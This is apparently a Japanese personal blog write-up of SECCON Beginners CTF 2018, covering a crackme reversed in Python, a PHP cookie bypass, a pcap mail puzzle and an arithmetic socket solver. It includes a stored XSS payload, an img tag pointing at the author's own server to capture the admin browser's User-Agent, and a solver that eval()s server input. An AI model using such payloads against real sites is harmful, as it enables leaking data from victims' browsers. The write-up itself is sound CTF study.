teppay’s log

*について書きます

SECCON Beginners CTF 2018 Writeup

はじめに

  • SECCON Beginners CTF 2018がはじめてOnlineで開催されたので参加した
  • 個人的には,最近勉強しているReversingとWebが(warmupを含めた)2問ずつしか解けなかったのがくやしい

Writeup

Reversing

[Warmup]Simple Auth
  • バイナリが与えられた
  • stringsではめぼしいものがなかったのでIDAにくわせた
  • scanfで得た30文字の入力を引数としてauthという関数に渡してcallしているのでまさにここだろう
  • hexで変数にflag文字列が入れられているので細かいところは見ずにそれを提出してみた ctf4b{rev3rsing_p4ssw0rd}
crackme

バイナリを解析して、入力値を求めてください。

crackmeというファイルを与えられた

$ file crackme
crackme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7e64cdb9686f4ec7c55701b9bbf8b69417da0c46, stripped

なにも考えずIDAに食わせた.
main関数を見た感じは,文字列を受け取ってそれを関数に渡してその結果によって当たり/はずれが出力されるというよくあるタイプのcrackmeという感じ
内部では,コマンドライン引数として与えられた文字列を最初の16文字と残りに分割して,それぞれを別の関数に通して検証をしているようだ
その関数の動作をそれぞれPythonで書き直してみると,

def sub1(s):
    b1 = b'\x9C\x9E\x8C\x3E\x68\x64\x7B\x3F\x50\x63\x0A\x7F\x55\x73\x1E\x64'

    idx = 0
    byte_601048 = 0xff

    res = True

    while idx < 0xf:
        print(s[idx:idx+4])
        if ((s[idx+0]^byte_601048)&0xff) != b1[idx]:
            res = False
        byte_601048 = (byte_601048^0x15)&0xff
        if ((s[idx+1]^byte_601048)&0xff) != b1[idx+1]:
            res = False
        byte_601048 = (byte_601048|0x20)&0xff
        if ((s[idx+2]^byte_601048)&0xff) != b1[idx+2]:
            res = False
        byte_601048 = (byte_601048&0xf)&0xff
        if ((s[idx+3]^byte_601048)&0xff) != b1[idx+3]:
            res = False
        idx += 4

        if res:
            res = byte_601048
    return res

def sub2(s, param):

    byte_601048 = param
    idx = 0

    b2 = (0x26345D606E7B553C).to_bytes(8, 'little') + (0x283F7939376D6526).to_bytes(8,'little')

    while idx < 0xf:
        print(s[idx:idx+4])
        if ((s[idx+0]^byte_601048)&0xff) != b2[idx]:
            res = False
        byte_601048 = (byte_601048&0xA)&0xff
        if ((s[idx+1]^byte_601048)&0xff) != b2[idx+1]:
            res = False
        byte_601048 = (byte_601048 + (byte_601048 << 3))*2 + byte_601048
        byte_601048 = byte_601048 + byte_601048*8
        byte_601048 = (byte_601048 >> 9) & 0xff
        if ((s[idx+2]^byte_601048)&0xff) != b2[idx+2]:
            res = False
        byte_601048 = (byte_601048 ^ 0x55)&0xff
        if ((s[idx+3]^byte_601048)&0xff) != b2[idx+3]:
            res = False

        idx += 4
    return res

どちらの関数も引数の文字列からそれぞれ4文字ずつ取り出して,ごちゃごちゃいじって,ハードコードされたバイト列と比較しています.
そのごちゃごちゃは,計算可能なグローバル変数の値(byte_601048)とXORのみで実現されているので,ハードコードされたバイト列からFlagを復元できました.

def solve_sub1():
    b1 = b'\x9C\x9E\x8C\x3E\x68\x64\x7B\x3F\x50\x63\x0A\x7F\x55\x73\x1E\x64'
    idx = 0
    byte_601048 = 0xff

    res = ''

    while idx < 0xf:
        res += chr(b1[idx+0]^byte_601048)
        byte_601048 = (byte_601048^0x15)&0xff
        res += chr(b1[idx+1]^byte_601048)
        byte_601048 = (byte_601048|0x20)&0xff
        res += chr(b1[idx+2]^byte_601048)
        byte_601048 = (byte_601048&0xf)&0xff
        res += chr(b1[idx+3]^byte_601048)
        idx += 4
    return (res, byte_601048)

def solve_sub2(param):
    byte_601048 = param
    idx = 0

    b2 = (0x26345D606E7B553C).to_bytes(8, 'little') + (0x283F7939376D6526).to_bytes(8,'little')

    res = ''

    while idx < 0xf:
        res += chr(b2[idx+0]^byte_601048)
        byte_601048 = (byte_601048&0xA)&0xff
        res += chr(b2[idx+1]^byte_601048)
        byte_601048 = (byte_601048 + (byte_601048 << 3))*2 + byte_601048
        byte_601048 = byte_601048 + byte_601048*8
        byte_601048 = (byte_601048 >> 9) & 0xff
        res += chr(b2[idx+2]^byte_601048)
        byte_601048 = (byte_601048 ^ 0x55)&0xff
        res += chr(b2[idx+3]^byte_601048)
        idx += 4
    return res

def main():
    res, param = solve_sub1()
    print(param)
    print(res+solve_sub2(param))

Web

[Warmup] Greeting
<?php

if(isset($_POST['name'])) {
  setcookie("name", $_POST['name'], time()+3600);
  $username = htmlspecialchars($_POST['name'], ENT_QUOTES, "UTF-8");

  // 管理者でログインできる?
  if($username === "admin") {
    $username = "偽管理者";
  }
} elseif(isset($_COOKIE['name'])) {
  $username = htmlspecialchars($_COOKIE['name'], ENT_QUOTES, "UTF-8");
} else {
  $username = "ゲスト";
}

?>
<!DOCTYPE html>
<html lang="ja">
  <head>
    <meta charset="UTF-8">
    <title>SECCON Beginners greeting service</title>
  </head>
  <body>
    <h1>こんにちは!<?=$username?>さん!</h1>
    <hr>
    <?php if($username === 'admin'): ?>
      こんにちは管理者さん。
      Flagは、 &quot;<?=$_ENV['SECCON_BEGINNERS_FLAG']?>&quot;です。
    <?php else: ?>
      こんにちは<?=$username?>さん。
      Flagは、管理者である&quot;admin&quot;さんにのみしか表示されません。
    <?php endif; ?>
    <form method="POST">
      <input type="text" placeholder="名前" name="name">
      <button type="submit">名前を変更する</button>
    </form>
    <pre>
    <code>
<?=htmlspecialchars(file_get_contents("./index.php"), ENT_QUOTES, "UTF-8")?>
    </code>
    </pre>
  </body>
</html>
    
    
  • 表示されている上記のphpソースを見ると,$username=adminだとFlagが表示されるみたい
  • ただ,フォームからadminと送信しても,$username="偽管理者"と書き換えられてしまう.
  • POSTnameパラメータが空の場合,nameというCookieに入った値が$usernameに入れられるらしい
  • そこでnameというCookieadminと指定してOWASP ZAPでPOSTをGETに書き換えてみたところFlagが表示された.
Gimme your comment

ビギナーズカンパニーは皆様からのご意見をお待ちしています。 お問合わせの回答には特別なブラウザを使用しており、このブラウザの User-Agent が分かった方には特別に得点を差し上げます :-)

http://gyc.chall.beginners.seccon.jp

User-Agentを取得したいということで,おそらくXSSで外部にアクセスさせるんだろうなと思ったので,Puppeteerで実装された特別なブラウザのソースも与えられているが,ひとまずXSSを探すことにした.
URLにアクセスすると,ビギナーズカンパニーのお問い合わせサイトのようなものがあって,新規投稿を押すと,以下のようなフォームがある
f:id:teppay:20180529144013p:plain とりあえずこのどちらかだろうと当たりをつけて以下のように入力してみると f:id:teppay:20180529144031p:plain

f:id:teppay:20180529144046p:plain このように本文htmlのタグを仕込めることがわかった.
そこで,あとは外部にリクエストを発生させるhtmlタグを仕込めば良いので,

<img src='<サーバのURL>'/>

という感じで本文に入力して投稿すると,まんまとリクエストが飛んできて,HTTPヘッダのUser-Agentの部分にFlagがあった

Misc

[Warmup] Welcome

フラグは公式IRCチャンネルのトピックにあります。

IRCに行くと表示された

[Warmup] plain mail

pcapファイルが与えられた
タイトルから平文でやり取りされたメールが記録されているんだろうということでそれならWiresharkで見るまでもないと思ったので,stringsしてみた.

q XZ
220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:38 +0000
.ehlo [172.19.0.3]
250-67289bb1f069 Hello client.4b [172.19.0.3]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250 HELP
/mail FROM:<me@4b.local> size=103
250 OK
0rcpt TO:<you@4b.local>
250 Accepted
0data
354 Enter message, ending with "." on a line by itself
0I will send secret information. First, I will send encrypted file. Second, I wll send you the password.
250 OK id=1fC17G-00005T-T0
421 67289bb1f069 lost input connection
q XZ
x(t@
220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:40 +0000
hehlo [172.19.0.3]
4(u@
250-67289bb1f069 Hello client.4b [172.19.0.3]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250 HELP
jmail FROM:<me@4b.local> size=658
<(w@
250 OK
krcpt TO:<you@4b.local>
B(x@
250 Accepted
kdata
l(y@
354 Enter message, ending with "." on a line by itself
kContent-Type: multipart/mixed; boundary="===============0309142026791669022=="
MIME-Version: 1.0
Content-Disposition: attachment; filename="encrypted.zip"
--===============0309142026791669022==
Content-Type: application/octet-stream; Name="encrypted.zip"
MIME-Version: 1.0
Content-Transfer-Encoding: base64
UEsDBAoACQAAAOJVm0zEdBgeLQAAACEAAAAIABwAZmxhZy50eHRVVAkAA6f/4lqn/+JadXgLAAEE
AAAAAAQAAAAASsSD0p8jUFIaCtIY0yp4JcP9Nha32VYd2BSwNTG83tIdZyU4x2VJTGyLcFquUEsH
CMR0GB4tAAAAIQAAAFBLAQIeAwoACQAAAOJVm0zEdBgeLQAAACEAAAAIABgAAAAAAAEAAACkgQAA
AABmbGFnLnR4dFVUBQADp//iWnV4CwABBAAAAAAEAAAAAFBLBQYAAAAAAQABAE4AAAB/AAAAAAA=
--===============0309142026791669022==--
P(z@
250 OK id=1fC17I-00005a-Fw
\({@
421 67289bb1f069 lost input connection
q XZ
220 67289bb1f069 ESMTP Exim 4.84_2 Fri, 27 Apr 2018 11:00:42 +0000
ehlo [172.19.0.3]
 250-67289bb1f069 Hello client.4b [172.19.0.3]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250 HELP
mail FROM:<me@4b.local> size=13
 250 OK
rcpt TO:<you@4b.local>
!250 Accepted
data
!354 Enter message, ending with "." on a line by itself
_you_are_pro_
!250 OK id=1fC17K-00005h-AC
1421 67289bb1f069 lost input connection
<5dhcpcd-7.0.1:Linux-4.15.10-1-ARCH:x86_64:GenuineIntel

Arch_VAIO
36:;w�

メールが3通送られているようで,1通目でI will send secret information. First, I will send encrypted file. Second, I wll send you the password.といっている.

2通目のメールからencrypted.zipを取り出し,3通目に書いてあるパスワードで解凍した.

flag.txtが出てきたので終了

てけいさんえくすとりーむず

てけいさんのプロのために作りました。 えくすとりーむなので300秒でタイムアウトします。

$ nc tekeisan-ekusutoriim.chall.beginners.seccon.jp 8690

問題の通りてけいさんしていては300秒じゃとき終わらないし,ふつーに嫌なので以下の雑ソルバを書きました

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys
import socket

def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('tekeisan-ekusutoriim.chall.beginners.seccon.jp',8690))
    while(True):
        response = sock.recv(4096).decode('utf-8')
        if not response :
            break
        problem = response.split('\n')[-2:]
        print(*problem, sep='\n', end='')
        ans = str(eval(problem[1][:-2]))
        sock.send(ans.encode('utf-8')+b'\n')
        print(ans)



if __name__ == '__main__':
    main()